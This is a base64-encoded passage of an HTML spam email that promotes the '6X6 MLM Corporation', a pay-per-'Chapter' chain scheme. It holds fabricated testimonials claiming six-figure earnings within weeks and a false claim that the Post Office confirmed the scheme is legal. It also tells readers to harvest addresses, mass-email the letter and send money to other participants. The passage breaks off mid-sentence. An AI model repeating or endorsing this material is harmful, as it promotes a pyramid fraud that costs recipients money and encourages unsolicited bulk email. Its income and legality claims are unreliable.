aCdzIHByaW9yIHRvIHJlY2VpdmluZyB0aGlzIHByb2dyYW0gSSBoYWQgYmVlbiBzZW5kaW5n
IGF3YXkgZm9yIGluZm9ybWF0aW9uIG9uIHZhcmlvdXMgYnVzaW5lc3Mgb3Bwb3J0dW5pdGll
cy4gQWxsIG9mIHRoZSBwcm9ncmFtcyBJIHJlY2VpdmVkLCBpbiBteSBvcGluaW9uLCB3ZXJl
IG5vdCBjb3N0IGVmZmVjdGl2ZS4gVGhleSB3ZXJlIGVpdGhlciB0b28gZGlmZmljdWx0IGZv
ciBtZSB0byBjb21wcmVoZW5kIG9yIHRoZSBpbml0aWFsIGludmVzdG1lbnQgd2FzIHRvbyBt
dWNoIGZvciBtZSB0byByaXNrIHRvIHNlZSBpZiB0aGV5IHdvdWxkIHdvcmsgb3Igbm90LiBP
bmUgY2xhaW1lZCB0aGF0IEkgd291bGQgbWFrZSBhIG1pbGxpb24gZG9sbGFycyBpbiBvbmUg
eWVhciAuLi5pdCBkaWRuJ3QgdGVsbCBtZSBJJ2QgaGF2ZSB0byB3cml0ZSBhIGJvb2sgdG8g
bWFrZSBpdCEgQnV0IGxpa2UgSSB3YXMgc2F5aW5nLCBpbiBEZWNlbWJlciBvZiAxOTk3IEkg
cmVjZWl2ZWQgdGhpcyBwcm9ncmFtLiBJIGRpZG4ndCBzZW5kIGZvciBpdCwgb3IgYXNrIGZv
ciBpdCwgdGhleSBqdXN0IGdvdCBteSBuYW1lIG9mZiBhIG1haWxpbmcgbGlzdC4gVEhBTksg
R09PRE5FU1MgRk9SIFRIQVQhISEgQWZ0ZXIgcmVhZGluZyBpdCBzZXZlcmFsIHRpbWVzLCB0
byBtYWtlIHN1cmUgSSB3YXMgcmVhZGluZyBpdCBjb3JyZWN0bHksIEkgY291bGRuJ3QgYmVs
aWV2ZSBteSBleWVzLiBIZXJlIHdhcyBhIE1PTkVZIE1BS0lORyBQSEVOT01FTk9OLiBJIGNv
dWxkIGludmVzdCBhcyBtdWNoIGFzIEkgd2FudGVkIHRvIHN0YXJ0LCB3aXRob3V0IHB1dHRp
bmcgbWUgZnVydGhlciBpbnRvIGRlYnQuIEFmdGVyIEkgZ290IGEgcGVuY2lsIGFuZCBwYXBl
ciBhbmQgZmlndXJlZCBpdCBvdXQsIEkgd291bGQgYXQgbGVhc3QgZ2V0IG15IG1vbmV5IGJh
Y2suIEJ1dCBsaWtlIG1vc3Qgb2YgWW91IEkgd2FzIHN0aWxsIGEgbGl0dGxlIHNrZXB0aWNh
bCBhbmQgYSBsaXR0bGUgd29ycmllZCBhYm91dCB0aGUgbGVnYWwgYXNwZWN0cyBvZiBpdCBh
bGwuIFNvIEkgY2hlY2tlZCBpdCBvdXQgd2l0aCB0aGUgVS5TLiBQb3N0IE9mZmljZSAoMS04
MDAtNzI1LTIxNjEgMjQtaHJzKSBhbmQgdGhleSBjb25maXJtZWQgdGhhdCBpdCBpcyBpbmRl
ZWQgbGVnYWwhIEFmdGVyIGRldGVybWluaW5nIHRoZSBwcm9ncmFtIHdhcyBMRUdBTCBhbmQg
Tk9UIEEgQ0hBSU4gTEVUVEVSLCBJIGRlY2lkZWQgIldIWSBOT1QuIiBJbml0aWFsbHkgSSBz
ZW50IG91dCAzMCwwMDAgZS1tYWlscy4gSXQgY29zdCBtZSBhYm91dCAkMTUgZm9yIG15IHRp
bWUgb24tbGluZS4gVGhlIGdyZWF0IHRoaW5nIGFib3V0IGUtbWFpbCBpcyB0aGF0IEkgZG9u
J3QgbmVlZCBhbnkgbW9uZXkgZm9yIHByaW50aW5nIHRvIHNlbmQgb3V0IHRoZSBwcm9ncmFt
LCBhbmQgYmVjYXVzZSBhbGwgb2YgbXkgb3JkZXJzIGFyZSBmdWxmaWxsZWQgdmlhIGUtbWFp
bCwgdGhlIG9ubHkgZXhwZW5zZSBpcyBteSB0aW1lLiBJIGFtIHRlbGxpbmcgWW91IGxpa2Ug
aXQgaXMsIEkgaG9wZSBpdCBkb2Vzbid0IHR1cm4gWW91IG9mZiwgYnV0IEkgcHJvbWlzZWQg
bXlzZWxmIHRoYXQgSSB3b3VsZCBub3QgInJpcC1vZmYiIGFueW9uZSwgbm8gbWF0dGVyIGhv
dyBtdWNoIG1vbmV5IGl0IGNvc3QgbWUuIEluIGxlc3MgdGhhbiB0d28gd2Vla3MsIEkgd2Fz
IHN0YXJ0aW5nIHRvIHJlY2VpdmUgb3JkZXJzIGZvciBDSEFQVEVSIzEuIEJ5IEphbnVhcnkg
MTMsIEkgaGFkIHJlY2VpdmVkIDM2IG9yZGVycyBmb3IgQ0hBUFRFUiMxLiBZb3VyIGdvYWwg
aXMgdG8gIlJFQ0VJVkUgYXQgbGVhc3QgMzAgT1JERVJTIEZPUiBDSEFQVEVSIzEiIE15IGZp
cnN0IHN0ZXAgaW4gbWFraW5nICQxMDAsMDAwIGluIDEyMCBkYXlzIHdhcyBkb25lLiBCeSBK
YW51YXJ5IDMwLCBJIGhhZCByZWNlaXZlZCAyNDYgb3JkZXJzIGZvciBDSEFQVEVSIzIuIFlv
dXIgZ29hbCBpcyB0byAiUkVDRUlWRSBBVCBMRUFTVCAxNTAgT1JERVJTIEZPUiBDSEFQVEVS
IzIuIElGIE5PVCwgU0VORCBPVVQgTU9SRSBQUk9HUkFNUyBVTlRJTCBZT1UgRE8uIE9OQ0Ug
WU9VIEhBVkUgMTUwIE9SREVSUywgVEhFIFJFU1QgSVMgRUFTWSwgUkVMQVgsIFlPVSBXSUxM
IE1BS0UgWU9VUiAkMTAwLDAwMCBHT0FMLiIgV2VsbCwgSSBoYWQgMjQ2IG9yZGVycyBmb3Ig
Q0hBUFRFUiMyLCA5NiBtb3JlIHRoYW4gSSBuZWVkZWQuIFNvIEkgc2F0IGJhY2sgYW5kIHJl
bGF4ZWQuIEJ5IE1hcmNoIDMwLCBvZiBteSBlLW1haWxpbmcgb2YgMzAsMDAwLCBJIHJlY2Vp
dmVkICQxMTgsMDAwIHdpdGggbW9yZSBjb21pbmcgaW4gZXZlcnkgZGF5LiBJIHBhaWQgb2Zm
IEFMTCBteSBkZWJ0cyBhbmQgYm91Z2h0IGEgbXVjaCBuZWVkZWQgbmV3IGNhci4gUGxlYXNl
IHRha2UgdGltZSB0byByZWFkIHRoaXMgcHJvZ3JhbSwgSVQgV0lMTCBDSEFOR0UgWU9VUiBM
SUZFIEZPUkVWRVIhISEgUmVtZW1iZXIsIGl0IHdvbid0IHdvcmsgaWYgWW91IGRvbid0IHRy
eSBpdC4gVGhpcyBwcm9ncmFtIGRvZXMgd29yaywgYnV0IFlvdSBtdXN0IGZvbGxvdyBpdCBF
WEFDVExZISBJbiBvcmRlciBmb3IgdGhpcyBwcm9ncmFtIHRvIHdvcmssIFlvdSBtdXN0IG1l
ZXQgWW91ciBnb2FsIG9mIDMwKyBvcmRlcnMgZm9yIENIQVBURVIjMSwgYW5kIDE1MCsgb3Jk
ZXJzIGZvciBDSEFQVEVSIzIgYW5kIFlvdSB3aWxsIG1ha2UgJDEwMCwwMDAgb3IgbW9yZSBp
biAxMjAgZGF5cy4gSSBBTSBMSVZJTkcgUFJPT0YgVEhBVCBJVCBXT1JLUyEhISBJZiBZb3Ug
Y2hvb3NlIG5vdCB0byBwYXJ0aWNpcGF0ZSBpbiB0aGlzIHByb2dyYW0sIEkgYW0gc29ycnku
IEl0IHJlYWxseSBpcyBhIGdyZWF0IG9wcG9ydHVuaXR5IHdpdGggbGl0dGxlIGNvc3Qgb3Ig
cmlzayB0byBZb3UuIElmIFlvdSBjaG9vc2UgdG8gcGFydGljaXBhdGUsIGZvbGxvdyB0aGUg
cHJvZ3JhbSBhbmQgWW91IHdpbGwgYmUgb24gWW91ciB3YXkgdG8gZmluYW5jaWFsIHNlY3Vy
aXR5LiBJZiBZb3UgYXJlIGEgZmVsbG93IGJ1c2luZXNzIG93bmVyIGFuZCBhcmUgaWYgZmlu
YW5jaWFsIHRyb3VibGUgbGlrZSBJIHdhcywgb3IgWW91IHdhbnQgdG8gc3RhcnQgWW91ciBv
d24gYnVzaW5lc3MsIGNvbnNpZGVyIHRoaXMgYSBzaWduLiBJIERJRCE8L3A+PHAgYWxpZ249
cmlnaHQ+PGZvbnQgZmFjZT12ZXJkYW5hIHNpemU9Mj5TaW5jZXJlbHksIEplcnJ5IFByb2N0
b3IuPHRyPjx0ZCBoZWlnaHQ9NDA+PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwNjY+Jm5ic3A7PHRy
Pjx0ZD48cCBhbGlnbj1qdXN0aWZ5Pjxmb250IGZhY2U9dmVyZGFuYSBzaXplPTI+PGJyPlRo
aXMgcHJvZ3JhbSByZWFsbHkgd29ya3MuIEkgbGl2ZSBvdXRzaWRlIHRoZSBVUywgaW4gRXVy
b3BlIGFuZCBhdCBmaXJzdCBJIGhhZCBkb3VidHMsIEkgd2Fzbid0IHN1cmUgaWYgaXQgd291
bGQgd29yayBhbmQgc28gSSBkaWRuJ3QgdGFrZSBpdCB2ZXJ5IHNlcmlvdXNseS4gQnV0IGFm
dGVyIGEgd2hpbGUgSSBmaWd1cmVkICJXaHkgbm90PyIuIEFmdGVyIGFsbCwgSSBjYW4ndCBs
b29zZSBtdWNoLiBJIHNlbmRlZCB0aGUgcmVxdWVzdHMgZm9yIHRoZSBDaGFwdGVycyAoSSBk
aWQgZXZlcnl0aGluZyBqdXN0IGxpa2UgSSBoYWQgdG8gYmVjYXVzZSBJIHdhbnRlZCB0byBk
byBldmVyeXRoaW5nIHJpZ2h0LCBzbyBpZiBpdCB3b3VsZG4ndCB3b3JrIGl0IHdvdWxkbid0
IGJlIG15IGZhdWx0LCBidXQgdGhlIHByb2dyYW0ncykgYW5kIHdhaXRlZC4gQWZ0ZXIgYSB3
aGlsZSB0aGUgQ2hhcHRlcnMgYXJyaXZlZCBieSBlLW1haWwgYW5kIEkgcmVhZCB0aGVtIHNl
dmVyYWwgdGltZXMsIHRoZXkgZ2F2ZSBtZSBwcmVjaXNlIGluZm9ybWF0aW9uIG9uIGhvdyB0
byBsZXQgdGhlIHByb2dyYW0gd29yayBhbmQgYWZ0ZXIgSSBrbmV3IGl0IGFsbCwgSSBzdGFy
dGVkIG15IHdvcmsuIEkgc3RhcnRlZCBzZWFyY2hpbmcgZS1tYWlsIGFkZHJlc3NlcyBldmVy
eXdoZXJlIChzaXRlcywgbWFnYXppbmVzLC4uLikgYW5kIG1hZGUgbG9uZyBsaXN0cyAoSSBy
ZWFsbHkgZW5qb3llZCB0aGlzIGJlY2F1c2UgaXQgd2FzIGxpa2UgYSBuZXcgaG9iYnkgYW5k
IEkgaGFkIG5vdGhpbmcgdG8gbG9vc2UpLiBsaWtlIGNyYXp5IEkgc3RhcnRlZCBzZW5kaW5n
IGUtbWFpbCB0byBwZW9wbGUgYWxsIG92ZXIgdGhlIHdvcmxkLiBJIGtlcHQgZG9pbmcgdGhp
cyBhbmQgY2hlY2tlZCB0aGUgbWFpbCBldmVyeSBkYXkuIEFmdGVyIHR3byB3ZWVrcyBvcmRl
cnMgc3RhcnRlZCB0byBhcnJpdmUuIEkgcmVtZW1iZXIgdGhlIG1vbWVudCB3aGVuIEkgd2Vu
dCB0byB0aGUgbWFpbGJveCBhbmQgSSBmb3VuZCB0aGUgZmlyc3Qgb3JkZXIgZm9yIENoYXB0
ZXIjMS4gSSBqdXN0IHN0b29kIHRoZXJlIGZvciBhIG1vbWVudCBhbmQgSSBzYWlkIHRvIG15
c2VsZjogInRoaXMgd29ya3MsIHRoaXMgdGhpbmcgZi4uLi4uIHdvcmtzISEhIiBJIHdhcyBz
byBoYXBweSB0aGF0IEkgc3RhcnRlZCBzZW5kaW5nIGV2ZW4gbW9yZSBlLW1haWxzLiBUaGUg
bmV4dCBkYXksIG5vdGhpbmcgaW4gdGhlIG1haWwsIEkgdGhvdWdodCAibWF5YmUgdGhpcyBp
cyBpdCIgYW5kIEkgd2FzIGEgYml0IGRpc3NhcG9pbnRlZCBidXQgdGhlIG5leHQgZGF5IEkg
cmVjZWl2ZWQgMyBvcmRlcnMgZm9yIENoYXB0ZXIjMS4gSSBzZW5kZWQgdGhlIENoYXB0ZXJz
IHRvIHRob3NlIHBlb3BsZSBzbyB0aGV5IGNvdWxkIHN0YXJ0IG1ha2luZyBtb25leSB0b28g
KGZvciB0aGVtIGFuZCBmb3IgbWUpLiBUd28gd2Vla3MgbGF0ZXIgSSB3YXMgc2l0dGluZyBh
bG1vc3QgMzAgbWludXRlcyBhIGRheSBiZWZvcmUgbXkgY29tcHV0ZXIgc2VuZGluZyBDaGFw
dGVycyB0byBwZW9wbGUgdGhhdCBoYWQgb3JkZXJlZCB0aGVtLiBJbiB0aGVzZSB0d28gd2Vl
a3MgSSByZWNlaXZlZCAzOSBvcmRlcnMgZm9yIENoYXB0ZXIjMS4gUHJvZml0IHNvIGZhcjog
YWJvdXQgMjQwIGRvbGxhcnMuIEFmdGVyIHRoYXQgb3JkZXJzIGNhbWUgZmFzdGVyIGFuZCBm
YXN0ZXIsIGV2ZXJ5IHdlZWsgSSBnb3QgaHVuZHJlZHMgb2Ygb3JkZXJzIGFuZCB0aGUgZG9s
bGFycyBrZXB0IGNvbWluZy4gSW4gdG90YWwgSSByZWNlaXZlZCAxMjQnMDAwIGRvbGxhcnMu
IGNhbiBZb3UgYmVsaWV2ZSB0aGlzPz8/IExhc3Qgd2VlayBJIGJvdWdodCBhIG5ldyBtb3Rv
cmN5Y2xlIGFuZCBJIG93ZSBpdCBhbGwgdG8gdGhpcyBwcm9ncmFtLiBpZiBZb3UncmUgcmVh
ZGluZyB0aGlzIGxldHRlciByaWdodCBub3cgYW5kIFlvdSdyZSBub3Qgc3VyZSB3aGV0aGVy
IHRvIHBhcnRpY2lwYXRlIG9yIG5vdCBJIGNhbiBvbmx5IHNheSBvbmUgdGhpbmc6IFRSWSBJ
VCwgWW91IHdvbid0IHJlZ3JldC4gVGhpcyBpcyBZb3VyIGNoYW5jZSwgdGFrZSBpdCBub3cg
b3IgWW91IHdpbGwgYmUgc29ycnkgZm9yIHRoZSByZXN0IG9mIFlvdXIgbGl2ZS48L3A+PHAg
YWxpZ249cmlnaHQ+PGZvbnQgZmFjZT12ZXJkYW5hIHNpemU9Mj5ILkouIE1vaW5lcywgRnJh
bmNlLjx0cj48dGQgaGVpZ2h0PTQwPjx0cj48dGQgYmdjb2xvcj0jMDAwMDY2PiZuYnNwOzx0
cj48dGQ+PHAgYWxpZ249anVzdGlmeT48Zm9udCBmYWNlPXZlcmRhbmEgc2l6ZT0yPjxicj5U
aGUgbWFpbiByZWFzb24gZm9yIHRoaXMgbGV0dGVyIGlzIHRvIGNvbnZpbmNlIFlvdSB0aGF0
IHRoaXMgc3lzdGVtIGlzIGhvbmVzdCwgbGF3ZnVsLCBleHRyZW1lbHkgcHJvZml0YWJsZSwg
YW5kIGlzIGEgd2F5IHRvIGdldCBhIGxhcmdlIGFtb3VudCBvZiBtb25leSBpbiBhIHNob3J0
IHRpbWUuIEkgd2FzIGFwcHJvYWNoZWQgc2V2ZXJhbCB0aW1lcyBiZWZvcmUgSSBjaGVja2Vk
IHRoaXMgb3V0LiBJIGpvaW5lZCBqdXN0IHRvIHNlZSB3aGF0IG9uZSBjb3VsZCBleHBlY3Qg
aW4gcmV0dXJuIGZvciB0aGUgbWluaW1hbCBlZmZvcnQgYW5kIG1vbmV5IHJlcXVpcmVkLiBU
byBteSBhc3RvbmlzaG1lbnQsIEkgcmVjZWl2ZWQgJDEzNiw0NzAgaW4gdGhlIGZpcnN0IDE0
IHdlZWtzLCB3aXRoIG1vbmV5IHN0aWxsIGNvbWluZyBpbi48L3A+PHAgYWxpZ249cmlnaHQ+
PGZvbnQgZmFjZT12ZXJkYW5hIHNpemU9Mj5DaGFybGVzIE1vcnJpcywgRXNxLjx0cj48dGQg
aGVpZ2h0PTQwPjx0cj48dGQgYmdjb2xvcj0jMDAwMDY2PiZuYnNwOzx0cj48dGQ+PHAgYWxp
Z249anVzdGlmeT48Zm9udCBmYWNlPXZlcmRhbmEgc2l6ZT0yPjxicj5Ob3QgYmVpbmcgdGhl
IGdhbWJsaW5nIHR5cGUsIGl0IHRvb2sgbWUgc2V2ZXJhbCB3ZWVrcyB0byBtYWtlIHVwIG15
IG1pbmQgdG8gcGFydGljaXBhdGUgaW4gdGhpcyBwbGFuLiBCdXQgY29uc2VydmF0aXZlIHRo
YXQgSSBhbSwgSSBkZWNpZGVkIHRoYXQgdGhlIGluaXRpYWwgaW52ZXN0bWVudCB3YXMgc28g
bGl0dGxlIHRoYXQgdGhlcmUgd2FzIGp1c3Qgbm8gd2F5IHRoYXQgSSB3b3VsZG4ndCBnZXQg
ZW5vdWdoIG9yZGVycyB0byBhdCBsZWFzdCBnZXQgbXkgbW9uZXkgYmFjay4gQm95LCB3YXMg
SSBzdXJwcmlzZWQgd2hlbiBJIGZvdW5kIG15IG1lZGl1bS1zaXplIG1haWxib3ggY3JhbW1l
ZCB3aXRoIG9yZGVycyEgRm9yIGF3aGlsZSwgaXQgZ290IHNvIG92ZXJsb2FkZWQgdGhhdCBJ
IGhhZCB0byBzdGFydCBwaWNraW5nIHVwIG15IG1haWwgYXQgdGhlIHdpbmRvdy4gSSdsbCBt
YWtlIG1vcmUgbW9uZXkgdGhpcyB5ZWFyIHRoYW4gYW55IDEwIHllYXJzIG9mIG15IGxpZmUg
YmVmb3JlLiBUaGUgbmljZSB0aGluZyBhYm91dCB0aGlzIGRlYWwgaXMgdGhhdCBpdCBkb2Vz
bid0IG1hdHRlciB3aGVyZSBwZW9wbGUgbGl2ZS4gVGhlcmUgc2ltcGx5IGlzbid0IGEgYmV0
dGVyIGludmVzdG1lbnQgd2l0aCBhIGZhc3RlciByZXR1cm4uPC9wPjxwIGFsaWduPXJpZ2h0
Pjxmb250IGZhY2U9dmVyZGFuYSBzaXplPTI+UGFpZ2UgV2lsbGlzLCBEZXMgTW9pbmVzLCBJ
QS48dHI+PHRkIGhlaWdodD00MD48dHI+PHRkIGJnY29sb3I9IzAwMDA2Nj4mbmJzcDs8dHI+
PHRkPjxwIGFsaWduPWp1c3RpZnk+PGZvbnQgZmFjZT12ZXJkYW5hIHNpemU9Mj48YnI+SSBo
YWQgcmVjZWl2ZWQgdGhpcyBwcm9ncmFtIGJlZm9yZS4gSSBkZWxldGVkIGl0LCBidXQgbGF0
ZXIgSSB3b25kZXJlZCBpZiBJIHNob3VsZG4ndCBoYXZlIGdpdmVuIGl0IGEgdHJ5LiBPZiBj
b3Vyc2UsIEkgaGFkIG5vIGlkZWEgd2hvIHRvIGNvbnRhY3QgdG8gZ2V0IGFub3RoZXIgY29w
eSwgc28gSSBoYWQgdG8gd2FpdCB1bnRpbCBJIHdhcyBlLW1haWxlZCBhbm90aGVyIHByb2dy
YW0sIC4uLjExIG1vbnRocyBwYXNzZWQgdGhlbiBpdCBjYW1lLi4uIEkgZGlkbid0IGRlbGV0
ZSB0aGlzIG9uZSEgSSBtYWRlIG1vcmUgdGhhbiAkMTQxLDAwMCBvbiB0aGUgZmlyc3QgdHJ5
ISE8L3A+PHAgYWxpZ249cmlnaHQ+PGZvbnQgZmFjZT12ZXJkYW5hIHNpemU9Mj5WaW9sZXQg
V2lsc29uLCBKb2huc3Rvd24sIFBBLjx0cj48dGQgaGVpZ2h0PTQwPjx0cj48dGQgYmdjb2xv
cj0jMDAwMDY2PiZuYnNwOzx0cj48dGQ+PHAgYWxpZ249anVzdGlmeT48Zm9udCBmYWNlPXZl
cmRhbmEgc2l6ZT0yPjxicj5UaGlzIGlzIG15IHRoaXJkIHRpbWUgdG8gcGFydGljaXBhdGUg
aW4gdGhpcyBwbGFuLiBXZSBoYXZlIHF1aXQgb3VyIGpvYnMsIGFuZCB3aWxsIHNvb24gYnV5
IGEgaG9tZSBvbiB0aGUgYmVhY2ggYW5kIGxpdmUgb2ZmIHRoZSBpbnRlcmVzdCBvbiBvdXIg
bW9uZXkuIFRoZSBvbmx5IHdheSBvbiBlYXJ0aCB0aGF0IHRoaXMgcGxhbiB3aWxsIHdvcmsg
Zm9yIFlvdSBpcyBpZiBZb3UgZG8gaXQuIEZvciBZb3VyIHNha2UsIGFuZCBmb3IgWW91ciBm
YW1pbHkncyBzYWtlIGRvbid0IHBhc3MgdXAgdGhpcyBnb2xkZW4gb3Bwb3J0dW5pdHkuIEdv
b2QgbHVjayBhbmQgaGFwcHkgc3BlbmRpbmchPC9wPjxwIGFsaWduPXJpZ2h0Pjxmb250IGZh
Y2U9dmVyZGFuYSBzaXplPTI+S2VycnkgRm9yZCwgQ2VudGVycG9ydCwgTlkuPHRyPjx0ZCBo
ZWlnaHQ9NTA+PHRyPjx0ZD48Zm9udCBmYWNlPXZlcmRhbmEgc2l6ZT0yPjxiPldlIHdhaXQg
Zm9yIFlvdXIgcmVzcG9uc2VzLiBTZW5kIHRoZW0gdG8gdGhlIG1haW4gb2ZmaWNlLjx0cj48
dGQgaGVpZ2h0PTUwPjx0cj48dGQ+PGZvbnQgZmFjZT0idmVyZGFuYSIgc2l6ZT0rMT48Y2Vu
dGVyPjxiPldoYXQgaXMgdGhlIDZYNj88YnI+Jm5ic3A7PHRyPjx0ZCBiZ2NvbG9yPSMwMDAw
NjY+Jm5ic3A7PHRyPjx0ZCBiZ2NvbG9yPSNmZmZmY2M+PHA+PGRpdiBhbGlnbj1qdXN0aWZ5
Pjxmb250IGZhY2U9dmVyZGFuYSBzaXplPTI+PGJyPlNvLCBsZXSScyBzdGFydCBlYXJuaW5n
IGhlYXBzIG9mICBtb25leSB3aXRob3V0IGxlYXZpbmcgdGhlIGhvdXNlISAiVGhpcyBpcyBt
eSBjaGFuY2UhIiwgLSBZb3UgZXhjbGFpbSAgaGF2aW5nIHJlYWxpemVkIHRoYXQgaXMgbm90
IG5lY2Vzc2FyeSB0byBnbyBhbnl3aGVyZSBhbmQgdG8gcGVyc3VhZGUgc29tZWJvZHkgLSBv
bmx5IHNlbmQgYWR2ZXJ0aXNpbmcgbGV0dGVycyBhbmQgcmVjZWl2ZSBwcm9maXRzISAiQW5k
IHdoYXQgaXMgbmVjZXNzYXJ5IHRvIGRvIGZvciB0aGlzIHB1cnBvc2U/IiAtIHRoZSBxdWVz
dGlvbiBpcyBpbmV2aXRhYmxlLiBFYXJuaW5nIGEgaGVhcCBvZiBtb25leSAtIGZyb20gJDEw
MCwwMDAgdXAgdG8gJDEsMDAwLDAwMCAtIGZvciB0aGUgYmVnaW5uaW5nIFlvdSBtdXN0ICBi
ZSByZWdpc3RlcmVkIGF0IHRoZSBtYWluIG9mZmljZSBvZiB0aGUgNlg2IE1MTSBDb3Jwb3Jh
dGlvbiBhbmQgcmVjZWl2ZSBhIHBlcnNvbmFsIHJlZ2lzdHJhdGlvbiBudW1iZXIuIEhhdmlu
ZyBlbnRlcmVkIGluIDZYNiwgWW91IGJlY29tZSB0aGUgZGlzdHJpYnV0b3Igb2YgdGhlIENo
YXB0ZXJzIC0gZGV0YWlsZWQgZGVzY3JpcHRpb25zIG9mIHdvcmsgd2l0aCBidXNpbmVzcyBz
eXN0ZW0gNlg2IGFuZCBvcHRpbWl6YXRpb24gdGhlIGNvbXB1dGVyLiBDbGllbnRzIG9mIFlv
dXIgYnVzaW5lc3MgYmVjb21lIHRoZSBwZW9wbGUgdGhhdCB3aWxsIGJlIGludGVyZXN0ZWQg
aW4gdGhlc2UgQ2hhcHRlcnMuIEFuZCB0aGUgQ2hhcHRlcnMgc2hvdWxkIGludGVyZXN0IHRo
ZW0hIFBlb3BsZSB3aWxsIGJlIGludGVyZXN0ZWQgaW4gYnVzaW5lc3MgaXRzZWxmIGFuZCBh
bGwgdGhpcyBpcyBhIGd1YXJhbnR5IHRoYXQgcGVvcGxlIGNlcnRhaW5seSBzaGFsbCByZXNw
b25kIHRvIFlvdXIgbGV0dGVyLiBXaGF0IGlzIHRoaXMgbGV0dGVyPyBUaGlzIGlzIHRoZSBh
ZHZlcnRpc2luZyBsZXR0ZXIgd2hpY2ggWW91J2xsIHJlY2VpdmUgZnJvbSB0aGUgbWFpbiBv
ZmZpY2Ugb2YgdGhlIDZYNiBNTE0gQ29ycG9yYXRpb24gYWZ0ZXIgdGhlIHJlZ2lzdHJhdGlv
biAoaXQgZGlmZmVycyBmcm9tIHRoZSBsZXR0ZXIgd2hpY2ggWW91IGFyZSByZWFkaW5nIG5v
dyBieSB0aGUgcHJlc2VuY2Ugb2YgWW91ciByZWdpc3RyYXRpb24gbnVtYmVyIGluIHRoZSBi
dXNpbmVzcyB0YWJsZSkuIFlvdSBzaW1wbHkgc2VuZCBpdCB0byBhIGxvdCBvZiBwZW9wbGUu
IEhvdyB0byBmaW5kIHRoZSBlbmRsZXNzIGFtb3VudCBvZiBlLW1haWxzLCBob3cgYXV0b21h
dGljYWxseSBzZW5kIHRoZSBhZHZlcnRpc2luZyBsZXR0ZXIgdG8gdGhlbSBhbmQgbWFueSBv
dGhlciB0aGluZ3MgWW91IHdpbGwgZmluZCBvdXQgaW4gdGhlIENoYXB0ZXJzLiBJZiBZb3Ug
IGFyZSB3b3JyaWVkIHdoZXJlIHRvIGZpbmQgc28gbWFueSBlLW1haWwgYWRkcmVzc2VzIGRv
bpJ0IGJvdGhlci4gVGhlcmUgYXJlIG1vcmUgdGhhbiAxNSwwMDAgbmV3IHBlb3BsZSBjb25u
ZWN0aW5nIHRvIHRoZSBJbnRlcm5ldCBkYWlseSEhISBJdCdsbCBiZSBlbm91Z2ggZm9yIGV2
ZXJ5Ym9keSEhISBBZnRlciBZb3Ugc2VuZCB0aGUgYXBwbGljYXRpb24gZm9yIHJlZ2lzdHJh
dGlvbiwgYSBsZXR0ZXIgd2lsbCBiZSBzZW50IHRvIFlvdSwgY29udGFpbmluZzo8YmxvY2tx
dW90ZT48YmxvY2txdW90ZT48cD4xKSBZb3VyIHJlZ2lzdHJhdGlvbiBudW1iZXIsPHA+Mikg
VGhlIGFkdmVydGlzaW5nIGxldHRlciB3aXRoIFlvdXIgcmVnaXN0cmF0aW9uIG51bWJlciBp
biB0aGUgYnVzaW5lc3MgdGFibGUuIEluIHRoZSBmdXR1cmUgWW91J2xsIHNlbmQgdGhpcyBs
ZXR0ZXIgdG8gdGhvdXNhbmRzIG9mIHJlY2lwaWVudHMsPHA+MykgUG9zdGFsIGFkZHJlc3Nl
cyBvciBiYW5rIGFjY291bnRzIG9mIG90aGVyIHBhcnRpY2lwYW50cyBvZiB0aGUgYnVzaW5l
c3Mgc3lzdGVtLiBJdCBpcyBuZWNlc3NhcnkgZm9yIFlvdSB0byBvcmRlciB0aGUgQ2hhcHRl
cnMgZnJvbSB0aGVtLCBlYWNoIENoYXB0ZXIgZnJvbSBkaWZmZXJlbnQgcGFydGljaXBhbnQg
KGV4Y2VwdGluZyB0aGUgTWFzdGVyKSBhY2NvcmRpbmcgdG8gdGhlIGRlY2lwaGVyZWQgYnVz
aW5lc3MgdGFibGUsIHRoYXQgWW91IGhhZCBhbiBvcHBvcnR1bml0eSB0byBzZWxsIHRoZW0g
dG8gdGhlIGN1c3RvbWVycy48L2Jsb2NrcXVvdGU+PC9ibG9ja3F1b3RlPjxwPlRvZ2V0aGVy
IHdpdGggaXQgWW91IHdpbGwgYWxzbyByZWNlaXZlIG90aGVyIGluc3RydWN0aW9ucy4gV2Vs
bCB0aGUgdGhpbmcgWW91J2xsIGhhdmUgdG8gZG8gbm93IGlzIHRvIGNhdGNoIHRoZSBlc3Nl
bmNlIG9mIHRoZSBhbGdvcml0aG0gYmVsb3cuIFNvLCBZb3UgaGF2ZSBhbGwgQ2hhcHRlcnMg
YW5kIFlvdSBoYXZlIHRvIHNlbmQgdGhlIGxldHRlciB3aGljaCBjb250YWlucyB0aGUgZm9y
ZXdvcmQgdG8gdGhlc2Ugc3VycHJpc2luZyBDaGFwdGVycyBhcyB0aGUgYWR2ZXJ0aXNlbWVu
dC4gSGF2aW5nIHJlYWQgaXQsIHRoZSBwZXJzb24gd2hvIGhhcyByZWNlaXZlZCB0aGUgbGV0
dGVyIGZyb20gWW91IHdpbGwgY2VydGFpbmx5IHdhbnQgdG8gZW50ZXIgdG8gdGhlIGJ1c2lu
ZXNzIHN5c3RlbSA2WDYgYW5kIHJlYWQgYWxsIENoYXB0ZXJzLiBCdXQgZXZlbiBpZiBzdWRk
ZW5seSBoZSB3aWxsIG5vdCB3YW50IHRvIHJlYWQgdGhlIENoYXB0ZXJzIGhlJ2xsIGNlcnRh
aW5seSBiZWNvbWUgaW50ZXJlc3RlZCBpbiBhIHVuaXF1ZSBvcHBvcnR1bml0eSB0byBlYXJu
IG1pbGxpb25zIHByYWN0aWNhbGx5IHdpdGhvdXQgYW55IGV4cGVuc2VzLCBib3RoIG9uIG1v
bmV5IGFuZCBvbiB0aW1lISBJIGFncmVlLCBpdCBpcyBqdXN0IGltcG9zc2libGUgdG8gcmVm
dXNlIGl0ISBBcHByb3hpbWF0ZWx5IGluIDIgd2Vla3MgZnJvbSB0aGUgZGF0ZSBvZiBZb3Vy
IGZpcnN0IG1haWxpbmcgWW91IHdpbGwgcmVjZWl2ZSBvcmRlcnMgZm9yIHRoZSBmaXJzdCBD
aGFwdGVyIGFuZCBhIHBheW1lbnQgZm9yIGl0ICgkNiBmb3IgZWFjaCBDaGFwdGVyKSBmcm9t
IDMwIHBlcnNvbnMgb3IgZXZlbiBtb3JlLiBUaHVzLCBZb3VyIGZpcnN0IGluY29tZSB3aWxs
IGJlICQxODAgb3IgbW9yZS4gVGhpcyBpcyBvbmx5IHRoZSBiZWdpbm5pbmchIEF0IHJlZ2lz
dHJhdGlvbiBZb3Ugd2lsbCBiZSBhdXRvbWF0aWNhbGx5IGluY2x1ZGVkIGluIGEgbG90dGVy
